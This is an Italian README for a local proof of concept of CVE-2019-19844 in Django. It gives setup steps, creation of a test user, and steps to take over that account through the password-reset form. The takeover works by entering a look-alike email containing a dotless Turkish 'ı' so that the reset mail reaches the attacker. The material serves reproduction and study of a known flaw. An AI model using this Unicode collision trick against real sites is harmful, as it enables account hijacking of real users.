django_cve_2019_19844_poc

PoC per CVE-2019-19844

Requisiti

• Python 3.7.x
• PostgreSQL 9.5 o superiore

Configurazione

1. Creare un database (ad es. django_cve_2019_19844_poc)
2. Impostare il nome del database nella variabile d'ambiente DJANGO_DATABASE_NAME (ad es. export DJANGO_DATABASE_NAME=django_cve_2019_19844_poc)
3. Eseguire pip install -r requirements.txt && ./manage.py migrate --noinput
4. Creare il seguente utente con il comando shell:

>>> from django.contrib.auth import get_user_model
>>> User = get_user_model()
>>> User.objects.create_user('mike123', '[email protected]', 'test123')

Procedura di riproduzione

1. Eseguire ./manage.py runserver
2. Aprire http://127.0.0.1:8000/accounts/password-reset/
3. Inserire mı[email protected] (email dell'attaccante) e fare clic sul pulsante di invio
4. Ricevere l'email (controllare la console) e reimpostare la password
5. Accedere come utente mike123